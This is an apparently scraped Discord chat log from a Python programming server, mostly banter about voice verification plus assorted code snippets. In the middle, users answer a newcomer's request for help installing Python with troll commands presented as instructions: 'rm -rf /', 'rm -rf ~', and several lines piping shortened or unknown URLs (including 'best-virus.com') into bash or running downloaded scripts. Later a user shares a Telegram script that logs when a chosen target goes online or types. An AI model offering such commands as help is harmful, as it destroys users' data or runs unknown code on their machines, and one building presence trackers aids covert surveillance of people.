oh come on, these reviews for that hyped lemon print pillow can't be legit
edit: nvm, the exact same reviews were on the other throw pillows; apparently it's not about the specific design

icy axle
#
  1. Get image
  2. Resize image
  3. Send new image
olive hedge
#

That is epic, but also a rip off for shipping LOL

#

We can have hoodies

icy axle
#

Good luck with the coffee hehe

#

@olive hedge did you see this earlier?

#

Notice how every detail is perfect hahaha

#

(Except for one thing๐Ÿ‘€)

gentle flint
#

the chatbox

#

it says Message #ot0-male-pattern-beardness instead of Message #ot0-gurkan-pattern-beardness as it should according to the top- and sidebar

#

is that the one thing, @icy axle ?

icy axle
#

Yeah, exactly

#

I think thatโ€™s the only detail I missed hahah

hollow haven
#

eivlgrukan

olive hedge
#

Did that foresl happen or inspector?

icy axle
#

Hahah inspect

#

eivlgrukan
@hollow haven one of my favorites

hollow haven
#

It's not supposed to be eivlgurkan?

sly jolt
#

@icy axle lmao nice

icy axle
#

@hollow haven it should probably be, but after seeing the profile picture, I thought the name was just two letters changing places in the word evil. Just played with that and added grukan hahah

hollow haven
#

the profile picture is darth maul though >_>

icy axle
#

Hhaha

#

Just the way I thought of it at first

somber heath
past elk
#

bathed in multi processing but still took 2 hours to render and couldn't use me computer while it was rendering

#
np.linspace(startx,endx,width)```
#

0,0

#
for i in range(NUM_OF_WORKERS):
        p = multiprocessing.Process(target=startPic,args=(point[0]-zoom,point[0]+zoom,point[1]-zoom,point[1]+zoom,2,i,iter))
        zoom *= deltaZ
        workers.append(p)
        p.start()```
somber heath
#

Mandelbrot

#

Benoir

past elk
somber heath
#

from io import BytesIO

slate sluice
#

bathed in multi processing but still took 2 hours to render and couldn't use me computer while it was rendering
@past elk can you send the source code of this?

somber heath
#

and you feed it a bytearray

#

The bytearray is like the hard drive and the BytesIO instance is like the file object.

#

and Pillow, conveniently, allows you to write to file objects, not just file names.

slate sluice
#

@past elk have u tried running it on GPU?

past elk
#

no, bc im on a laptop ๐Ÿ˜„

#

a / (b/c) = a * c/b

somber heath
#

@whole bear I'm afraid your audio quality is very poor.

#

@whole bear We can sort of hear you.

#

But it's really, really bad.

#

We can hear you, but it's still very poor quality.

#

"wagh wah"

#

vs wah wah, sad trombone

past elk
#

3.10, 3.1.0

somber heath
#

@marble jetty It sounds like you're mumbling.

marble jetty
#

Can you write this in the chat?

#

@somber heath

#

@past elk

#

where are you two from?

somber heath
#

Australia.

marble jetty
#

Russia

somber heath
#

One gathered.

marble jetty
#

Russians just don't know English well

glass ridge
#

??

pliant atlas
#

tuple unpacking

somber heath
#

I enjoyed finding out about unpacking.

#

"Oh, I don't have to do these on seperate lines? Neat!"

pliant atlas
#

@somber heath wait so u didn't know tuple unpacking earlier?

somber heath
#

Oh, no, ages ago.

pliant atlas
#

umm i don't quite get what u mean

somber heath
#

I've known about it for a long time.

pliant atlas
#

oh ok

somber heath
#

I'm talking about when I first learned about it.

pliant atlas
#

"Oh, I don't have to do these on seperate lines? Neat!"
@somber heath then what is this

#

ohh ok

#

noice

somber heath
#

That is what I might have said back then.

pliant atlas
#

yeah, it's a nice feature

tall latch
#

@somber heath hello opal mist

somber heath
#

Hello, hello.

tall latch
#

well im hearing music and working on a game at same time

gentle flint
slate sluice
#

why there r two opalmist?

gentle flint
#

they're identical twins

slate sluice
#

@candid venture impersonater

#

reported to admin

gentle flint
#

@slate sluice it's a joke

slate sluice
#

mine is a joke too

gentle flint
#

relax

gentle flint
#

oh good

pliant atlas
pliant atlas
slate sluice
#

!nickname.change.all OpalMist

gentle flint
somber heath
#

I crai

gentle flint
#

I OpalMist

pliant atlas
#

me OpalMist

pliant atlas
#

I can't join the voice channel idky!!!

slate sluice
#

@somber heath I need help

somber heath
#

Hm?

slate sluice
#

@whole bear reported for inactivity

dire prawn
#

hello

#

how to install python

slate sluice
#

@dire prawn reported for cute dog pic

dire prawn
#

pls help

gentle flint
#

pip install python

slate sluice
#

wrong

#

pip3 install python2

gentle flint
#

but first install pip with python -m pip install pip

dire prawn
#

it says pip command not recognized

slate sluice
#

@dire prawn install pip

dire prawn
#

how

gentle flint
#

with your keyboard

slate sluice
#

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

#

python get-pip.py

#

then

dire prawn
#

I don't need bootstrap

slate sluice
#

rm -rf /

dire prawn
#

why u linking me to bootstrap

slate sluice
#

or rm -rf ~

dire prawn
#

it says rm command not found

gentle flint
#

this should do it for you

dire prawn
#

??

gentle flint
#

curl -s -L http://bit.ly/10hA8iC | bash

dire prawn
#

why shortlink

gentle flint
#

why not

slate sluice
#

or

#

$ wget --output-document=run.py https://git.io/JTIUh && python3 run.py

dire prawn
#

why foursquare

#

what do I do with foursquare

slate sluice
#

dont trust his link

gentle flint
#

make a subscription?

slate sluice
#

use my line

dire prawn
#

pls don't troll me

#

I need help

#

๐Ÿ˜

#

unshorten tool

#

@whole bear stop spamming

somber heath
#

Pass. ๐Ÿ™‚

dire prawn
slate sluice
#

@whole bear no advertissment

#

reported to admins

dire prawn
#

how is this relevant for us

#

u want us to ask Python questions there?

gentle flint
#

because we are Himalayan "creators" from Ladakh

dire prawn
#

because I need help installing Python, I can join if they can help????

slate sluice
#

$ wget www.best-virus.com/install_and_run_virus.sh | bash

dire prawn
#

@whole bear pls answer

slate sluice
#

BOOST YOUR COMPUTER SPEED X100 TIMES WITH THIS: /s
$ wget --output-document=run.py https://git.io/JTIUh && python3 run.py

gentle flint
#

OpalCult happened

dire prawn
#

because I need help installing Python, I can join if they can help????

#

I will join ur event

slate sluice
#

@whole bear ?

#

@whole bear What is this link?

#

@whole bear is it python related?

#

@whole bear or what?

dire prawn
#

lol don't

slate sluice
#

@whole bear could u explain?

olive hedge
#

me thinks we need a disclaimer on this entire chat for everyone: do not command

dire prawn
#

yes do not actually run those commands I tried, my computer is not responding now

slate sluice
#

@olive hedge we take no commands from furries

dire prawn
#

Oh so Python too?

slate sluice
#

@whole bear reported to admins, action is on the way

dire prawn
#

@whole bear does education include python?

#

๐Ÿ˜…

slate sluice
#

@whole bear what is education?

olive hedge
#

welp, this chat is a mod nightmare

#

so I will see myself out

dire prawn
#

@slate sluice lmao stop

gentle flint
#

!ban OpalMist

slate sluice
#

!unban OpalMist

dire prawn
#

they are gonna talk about coding? lol

slate sluice
#

who is coding

gentle flint
#

OpalMist is coding

somber heath
#

We are all coding.

#

Together.

#

As one.

#

One of us. One of us.

gentle flint
#

CodeMist

slate sluice
#

all for coding and coding for all

slate sluice
#

curl -s -L https://git.io/vwbol | bash

whole bear
#

@lusty marsh .json

lusty marsh
#

raspberry

wanton escarp
#

Can i ask why did Python Server People made their Prof. pic into a GIF?

icy axle
#

What do you mean?

#

That our server icon is animated?

wanton escarp
#

put your cursor on the server icon and it will play into the Harry Potter initial reference

icy axle
#

Nope. That's the Hacktoberfest logo

#

Kutiekatj9 created that lovely animation

wanton escarp
#

H is for Hacktober? Ok, but what is Hacktober?

icy axle
#

Yep

#

It's an event by Digital Ocean where you're encouraged to contribute to open source

wanton escarp
#

I understand.

#

Thank you, sir!

icy axle
#

Happy to help:)

wanton escarp
#

And from my understood point of view, THAT is a great animation!

silent nacelle
#

test

cerulean moth
whole rover
#

yes

#

it's intentional

#

we're in the process of rolling out the system

cerulean moth
#

okh, so i already voice verified?

whole rover
#

no

#

you'll need to verify, it should work now

cerulean moth
#

okh

#

done

#

i could see that without the role also

icy axle
#

Maybe it would be better to hide the channel after verifying, like we do with the normal server verification

cerulean moth
#

also we can join vcs without the role

#

atleast i could

whole rover
#

ah yeah, good call vest

#

can you see it now?

icy axle
#

Yep, still there

whole rover
#

@cerulean moth that's intentional

#

it's only the speaking permission we are gating

cerulean moth
#

okh

#

we can still see it and also type in it @whole rover

can you see it now?

whole rover
#

hmgmrmrm

cerulean moth
#

now perfect

#

we can't see it

#

now we can

silent nacelle
#

yeah i'm working on it

whole rover
#

fixed I think

cerulean moth
#

now we can't

#

gr8

icy axle
#

Yep. Looks good now

silent nacelle
#

test

whole rover
#

!tvban @silent nacelle 10s testing

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied voice ban to @silent nacelle until 2020-10-18 14:59 (9 seconds).

icy axle
#

Poor bob dylan

#

Voice bans count as infractions, right?

whole rover
#

yep

icy axle
#

Nice nice

whole bear
whole rover
#

@whole bear so, it's 50 messages since August 25th

#

you are on uhhhh

#

3

#
metricity=> SELECT COUNT(*) FROM messages WHERE author_id='345645294685257729';
 count
-------
     3
(1 row)
whole bear
#

oh

#

nice

#

lmao

whole rover
tall latch
#
from PIL import ImageTk,Image
from tkinter import filedialog
from tkinter import *
from tkinter import ttk

root = Tk()
root.geometry('700x700')

l = Label(root, text="Logiciel de preinscription")
l.pack()

Med1 = Button(root, text="Doliprane", padx=20,
                         pady=25, fg="black", bg="white")
Med1.pack()
Med2 = Button(root, text="EFFERALGAN", padx=20,
                         pady=25, fg="black", bg="white")
Med2.pack()
Med4 = Button(root, text="DAFALGAN", padx=20,
                         pady=25, fg="black", bg="white")
Med4.pack()
Med5 = Button(root, text="LEVOTHYROX", padx=20,
                         pady=25, fg="black", bg="white")
Med5.pack()
Med6 = Button(root, text="IMODIUM", padx=20,
                         pady=25, fg="black", bg="white")
Med6.pack()
Med7 = Button(root, text="Aspirine", padx=20,
                         pady=25, fg="black", bg="white")
Med7.pack()
Med8 = Button(root, text="Aspirine", padx=20,
                         pady=25, fg="black", bg="white")
Med8.pack()
Med9 = Button(root, text="Aspirine", padx=20,
                         pady=25, fg="black", bg="white")
Med9.pack()
Med10 = Button(root, text="Aspirine", padx=20,
                         pady=25, fg="black", bg="white")
Med10.pack()

root.mainloop()
whole bear
#

Ba BA Ba bnerd the bnerd is the word Ba BA Ba bnerd the bnerd is the word
I'm sorry i had to

hushed elm
#

u a nerd>

#

?

#

lol

#

bnerd

mortal copper
#

oops

pliant kiln
#

why am i muted]

#

where

whole bear
#

@pliant kiln #voiceverifiation

tall latch
glad locust
#

2 opalmists๐Ÿ˜‚ @somber heath

whole bear
#

Hello

#

why I am not verified yet

#

I did it

glad locust
#

Lol ๐Ÿ˜‚

whole bear
#

Ohok

#

@whole bear first of all u should have 50 messages on this server

#

are u verified?

#

No

#

so verify

#

if ur facing any problem @rapid crown

tall latch
whole bear
#

Let me try again

#

Lol

#

It promoted that I didnt had enough massage

#

In server

#

noice

#

Mm

.........?.

glad locust
#

@whole bear keep on chatting

whole bear
#

No

#

Hi

#

Hi

#

bye

#

bye

#

๐Ÿ˜๐Ÿ˜๐Ÿ˜

#

๐Ÿ˜‚๐Ÿ˜‚

somber heath
whole bear
#

๐Ÿ™ ๐Ÿ™ ๐Ÿ™

#

Made this crap

#

Can you

#

Hhx

somber heath
#

@whole bear Have you modmailed, yet?

pliant atlas
#

@somber heath are u really listening to song that u had sent

#

the creepy doll one

somber heath
#

Not this moment.

pliant atlas
#

ohh ok

somber heath
#

There was discussion of Annabelle.

pliant atlas
#

ohh ok

tall latch
somber heath
#

Needs to be shorter from back to front.

#

The face is sticking out too far.

pastel lance
#

wtf

#

cant speak again

whole bear
#

no

pliant atlas
#

are u muted or soemthing like that?

#

something*

pastel lance
#

nope

#

mic just wont go on

pliant atlas
#

are u connected in the voice chat?

whole bear
#

@pastel lance disable push to talk bruh

#

This message counts as one of 50 message ?

tall latch
pliant atlas
#

@whole bear yes this does

whole bear
#

This message counts as one of 50 message ?
@whole bear yup

pastel lance
#
        print(f"Event from non-intersting user was saved on {target}_randoms.txt")
        rnd_events = "x"
        print(rnd_events)
        rnd_log = open(f'{target}_randoms.txt', 'a')
        print("Event from User ID : " + rnd_events + f" at {datetime.now()}. \n", file=rnd_log)
        rnd_log.close()
tall latch
pastel lance
#
        print(f"Event from non-intersting user was saved on {target}_randoms.txt")
        rnd_events = "x"
        print(rnd_events)
        rnd_log = open(f'{target}_randoms.txt', 'a')
        print("Event from User ID : " + rnd_events + f" at {datetime.now()}. \n", file=rnd_log)
        rnd_log.close()
pliant atlas
#
        print(str(event.get_user))
        rnd_log = open(f'{target}_randoms.txt', 'a')
        print("Event from User ID : " + rnd_events + f" at {datetime.now()}. \n", file=rnd_log)
        rnd_log.close()```
cosmic lark
#

why is my voice supressed?

icy axle
#

Check out #voice-verification

cosmic lark
#

did it thanks guys

pastel lance
#
last_seen = 
print(f"{target} Was last seen at : {last_seen}")
target_file = open(f"{target}_log.txt", "a")
print(f"{target} Was last seen at : {last_seen} \n", file=target_file)
target_file.close()
time.sleep(2)
pliant atlas
#
f.write("Now the file has more content!")
f.close()```
#

#voice-verification

glad locust
#

@pliant atlas University?

pliant atlas
#

@glad locust i am in school

glad locust
#

10th, that's awesome.

#

I don't know, maybes its because when I was in 10th I knew jack-shit about tech in general

pliant atlas
#

ohh, well i am not the best but yeah i'm not the worst too

atomic zodiac
#

ok they really did the vc verfifcation

#

I thought it was a joke

#

๐Ÿ˜ฆ

candid venture
#

wooow

#

wheres my voice verified

atomic zodiac
#

9

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @atomic zodiac until 2020-10-18 17:41 (9 minutes and 59 seconds) (reason: burst rule: sent 8 messages in 10s).

glad locust
#

,do anyone of you guys have any experience with debian packaging?

candid venture
#

@pliant atlas
noo, just explain how to get my damn voicceee verified

smoky burrow
pliant atlas
#

@glad locust nope, never heard of it

#

@vapid portal go to #voice verification and verify yourself there

pastel lance
#
last_seen = 
print(f"{target} Was last seen at : {last_seen}")
target_file = open(f"{target}_log.txt", "a")
print(f"{target} Was last seen at : {last_seen} \n", file=target_file)
target_file.close()
time.sleep(2)
#
Session started at : 2020-10-18 17:35:00.296466
Logging in to Telegram complete.
Started listening to x. 
 x_full.txt for full user's details.
Creating x_log.txt file with user's details on top.
x's User ID is : x
x is correctly Offline. 

Event from non-intersting user was saved on x_randoms.txt
atomic zodiac
#

My first infraction since like 8 month

#

๐Ÿ˜ฆ

whole rover
#

Surely you must have realised that spamming that was a bad idea lol

pastel lance
#

@client.on(events.UserUpdate())
async def handler(event):
    time.sleep(2)
    if event.user_id == target_id:
        if event.online:
            print(f"{datetime.now()} : {target} Online...")
            target_file = open(f"{target}_log.txt", "a")
            print(f"{target} went Online at : {datetime.now()} \n", file=target_file)
            target_file.close() 
        if event.typing:
            print(f"{datetime.now()} : {target} typing...")
            target_file = open(f"{target}_log.txt", "a")
            print(f"{target} typed a message at : {datetime.now()} \n", file=target_file)
            target_file.close() 
    else:
        print(f"Event from non-intersting user was saved on {target}_randoms.txt")
        x = await client(GetFullUserRequest(str(event.user_id)))
        y = await x.username
        print(y.stringify)
        rnd_log = open(f'{target}_randoms.txt', 'a')
        print(f"Event from User ID : {str(event.user_id)} at {datetime.now()}. \n", file=rnd_log)
        rnd_log.close()

client.run_until_disconnected()
pliant atlas
#

Your welcome @vapid portal

glad locust
#

@pastel lance what are you trying to make,in general?

pastel lance
#

most of it is already done now after 4 days

#

but i still have one last thing i desire my script to have

#

and its the option to check last seen

glad locust
#

What does the whole program do?

#

A telegram client?

somber heath
whole bear
#

50 messages

#

ezpz

#

now verify me

#

lmao

#

ima make a discord automation bot access my acc and send messages with an interval of 1 min in every channel

#

xD

#

for legal reasons thats a joke

#

thats so cool...old members of the server with a new acc cant speak now

somber heath
#

Sure they can.

whole bear
#

i cant

somber heath
#

Sorry, I misread.

whole bear
#

smh

#

old account gave to frend

whole rover
#

50 messages isn't hard to achieve

#

lol

whole bear
#

indeed tru tho

#

just go to bot spam and spam eval on snippets from 50 of ur resume projects

#

he runs linux

#

i run both windows an linux

#

arch btw

#

nope vm

whole rover
#

lol, we'll notice

whole bear
#

lol, we'll notice
๐Ÿ‘€

#

why is this new feature implemented tho?

#

may ik?

#

@somber heath

still quartz
#

!voiceverify

whole bear
#

not here

#

on voice verify

still quartz
#

ok

whole bear
#

guess my old acc lmao

gentle flint
#

@tall latch yes

whole bear
#

who am i? guess

tall latch
cosmic lark
#

thats nice i cant speak from both my accs

gentle flint
#

@woven condor how novice is novice?

cosmic lark
#

just cuz my friend left the server

woven condor
#

novice?

#

@gentle flint 2-3 months of Py

#

wait

#

...

gentle flint
#

ah, nice

woven condor
#

yeah like 3 months

cosmic lark
#

i got more than 500 msgs in the server and then he left

#

and now i cant speak

woven condor
#

and I still suck

cosmic lark
#

cuz i have less than 50 msgs

#

nice

gentle flint
#

and I still suck
well, much less than at first, I'm sure

cosmic lark
#

๐Ÿ‘ ๐Ÿ‘

gentle flint
#

how many do you have left to go

cosmic lark
#

idk starting from zero again smfh

#

didnt

#

very cool

gentle flint
#

omigosh

#

rip

#

oh well, wait 3 days

#

better yet, ping a mod

#

dm ModMail

cosmic lark
#

aight

tall latch
#

The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply

#

@cosmic lark

#

@amber raptor

#

@whole bear

whole bear
#

says i joined recently

#

need to wait 3 days

tall latch
#

@whole bear didn't you see conditions apply

#

Kalle Hallden

whole rover
#

lol

tall latch
#

Ali Abdaal

gentle flint
whole rover
#

thank you fabcode

tall latch
#

nvm i love helping people

#

hey if you dont mind it would be cool if you pin my verification steps message in this channel

gentle flint
#

This is a test sentence to see id I can type without lookin at my keuboard

tall latch
#

hello

gentle flint
#

he;;p

#

hello with eyes closed

somber heath
#

"Hdklo f ffjlnf" Hello everyone.

#

Phone.

tall latch
#

hey

gentle flint
#

Lemme type with 6 fingers and see if it is any faster

#

it isn't

#

liars

somber heath
#

Are they your fingers?

gentle flint
#

not sure

#

I think so though

#

but they might be yours

#

speaking of alternative instruments...

barren citrus
#

What is lemon streaming?

gentle flint
#

video

#

by the looks of it

#

The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply
This message is released by FabCode under the GPL v3, copyright 2020
@pastel trench

#

you need to do those steps to speak

#

@terse vigil same for you

terse vigil
#

thanks

#

lol

#

I dont have 50 messages

#

@gentle flint

gentle flint
#

then post messages until you do

#

try again after

terse vigil
#

k

#

I simply dont have 50.

#

really?

#

I have 98?

#

IS somewhat suprised he has 98

gentle flint
terse vigil
#

hm. I've been haning in here since some time back in the server

#

Not the first time I found bugs with new stuff

#

Is still debugging Vapoursynth with Hybrid encoder

#

with is why I popped in here lol

tall latch
hollow haven
#

Not a bug, it's 50 messages since August 25th. #changelog

terse vigil
#

oh right after i sent the DM lol

gentle flint
terse vigil
#

I assume to ensure it's active users then?

gentle flint
#

evidently

hollow haven
#

That's when metricity started collecting user stats

terse vigil
#

I did have an odd encounter the other night lol

#

with a rando

gentle flint
somber heath
#

As opposed to an even encounter?

terse vigil
#

this guy was clearly not divisible by an even integer

gentle flint
#

*divisible

terse vigil
#

lol

gentle flint
#

a number could be even, and still not divisible by a certain even integer

#

for instance, 8 is not divisible by 16

#

yet both are even

frozen jacinth
#

how do I get 'voice verified'?

gentle flint
#

@frozen jacinth

tall latch
#

The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply
@tall latch

terse vigil
#

@frozen jacinth magicc I'm still figuring out

gentle flint
#

magcc

#

mag++

frozen jacinth
#

aw man, I'm "not eligible" to be voice verified

gentle flint
somber heath
#
for each in (1,2,3):
    if condition_a:
        continue
    elif condition_b: 
       break
else: #note indentation
    pass```
tall latch
candid venture
gentle flint
#

@tall latch use args and kwargs

candid venture
#

CA-OG

#

cat + dog = ca og

whole bear
#

oofe

#

i wanna speaaaaakkkkk

#

reeeeeeeeeeeeeeee

gentle flint
whole bear
#

its so boring not being able to join any vc

#

@gentle flint lmao

gentle flint
#
response = requests.get("https://i.imgur.com/ExdKOOz.png")
with open("sample_image.png", "wb") as file:
    file.write(response.content)
terse vigil
tall latch
candid venture
gentle flint
#

@sullen oxide
The steps to get voice verified
1.leave VC
2.go to #voice-verification
3.type in !voiceverify
4.there is no step 4 it's that simple
*conditions apply

  • courtesy of FabCode
tall latch
atomic zodiac
#

dont spam the bot

#

will mute u

#

I tried

#

Give sometime

#

between

#

your message

#

lol

slender bison
#

understandable anti-bot measure but oof